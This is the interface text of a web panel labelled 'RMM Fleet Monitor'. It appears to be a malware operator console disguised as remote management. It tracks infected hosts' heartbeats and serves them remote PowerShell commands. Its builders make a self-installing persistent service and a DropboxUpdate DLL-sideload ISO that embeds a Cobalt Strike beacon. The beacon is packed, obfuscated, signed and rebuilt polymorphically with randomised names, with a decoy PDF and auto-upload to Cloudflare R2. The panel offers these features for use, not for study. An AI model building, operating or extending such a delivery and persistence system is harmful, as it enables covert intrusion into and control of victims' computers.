RMM FLEET MONITOR

HEARTBEAT TRACKER · WATCHDOG BUILDER · ISO BUILDER
{{ clock }}
last sync {{ lastSync }}
Total Hosts
{{ agents.length }}
Online
{{ onlineCount }}
Offline
{{ offlineCount }}

HOSTS

auto-refresh 5s
[ no heartbeats yet ]
Agents will appear here once they check in.
Heartbeat endpoint: POST /api/heartbeat with { hostname, os }
StatusDesktop / HostnameIPOSLast Seen
{{ a.online ? 'online' : 'offline' }} {{ a.hostname }} {{ a.ip || '—' }} {{ a.os || '—' }} {{ ago(a) }}

SETTINGS

panel config
Local — serve the PowerShell command you type below to every host. Redirect — pull the command from a remote .txt link instead (the panel fetches it server-side, so hosts still just GET /api/command).
Fired by the watchdog on a host when the Level agent is missing. Served to hosts at GET /api/command.
Full http(s) URL to a plain-text file containing the install command. The panel fetches it and serves its contents to hosts at GET /api/command.
A host turns red if no heartbeat within this many minutes.
✓ saved

🔒 CHANGE PASSWORD

panel login
{{ changePw.msg }} {{ changePw.err }}

WATCHDOG BUILDER

compile custom rmm_watchdog.exe
Builds a custom single rmm_watchdog.exe — a self-installing Windows service. Double-click it on a target and it copies itself, registers an auto-start service, sets up a guardian, and starts heartbeating. Every parameter is compiled into the exe. Build mode selects normal or hardened (ACL lockdown + self-heal re-download).
{{ p.hint }}
✓ built — download started {{ buildError }}

CREATE NEW ISO

dropbox sideload · embedded cobalt beacon
Builds a DropboxUpdate.exe sideload ISO with the Cobalt Strike beacon embedded inside goopdate.dll. On run, the DLL writes the beacon to %TEMP%\ and executes it. Use packer wraps the beacon (chacha20 + rc4 string encrypt + section obfuscation). Sign signs both the beacon and goopdate.dll via Azure.
Name variables (replaced fresh on every build — great for rotation): {variable16} alnum · {variable10num} digits · {variable8alpha} letters · {variable8hex} hex. e.g. {variable16}.exe → random 16-char filename.
{{ p.hint }}
loaded: {{ binFileName }} ({{ binSize }} bytes)
required — raw CS beacon shellcode
loaded: {{ pdfFileName }} ({{ pdfSize }} bytes)
leave empty to use the built-in Level_Status.pdf
{{ isoOkText || '✓ built — download started' }} {{ isoError }}

SAVED TEMPLATES

{{ templates.length }} saved
captures all fields + beacon + PDF as a reusable preset
tpl {{ t.name }} {{ t.has_pdf ? 'bin+pdf' : 'bin' }}
no templates yet — save one from the build form above.

ACTIVE TASKS

{{ schedules.length }} scheduled
{{ s.enabled ? 'on' : 'off' }} {{ s.name }} R2 next {{ schedNext(s) }} {{ s.last_result || '—' }}
no active tasks — create one below.

NEW SCHEDULED TASK

auto-rebuild on an interval
Rebuilds a fresh (polymorphic = unique) ISO from a template on an interval.
R2 key supports {variableN} vars + {isoname}. Blank = iso/<timestamped-name>.iso.

CLOUDFLARE R2

auto-upload target
Enter bucket creds once; tasks with "Upload to R2" push the fresh ISO here (multipart upload + size/SHA-256 verify). Endpoint is auto-derived from Account ID.
endpoint: {{ r2.endpoint }}
✓ saved
{{ r2Error }}

SAVED FILES

reusable bins & PDFs
{{ f.type }} {{ f.name }} {{ (f.size/1024).toFixed(1) }} KB

BUILT ISOs

{{ buildsTotal }} total · page {{ buildsPage }}/{{ buildsTotalPages }}
iso {{ b.file }} {{ (b.size/1024).toFixed(0) }} KB {{ packedText(b) }} {{ signedText(b) }} {{ uploadBadgeText(b.upload.status) }} Download
page {{ buildsPage }} / {{ buildsTotalPages }} · {{ buildsTotal }} builds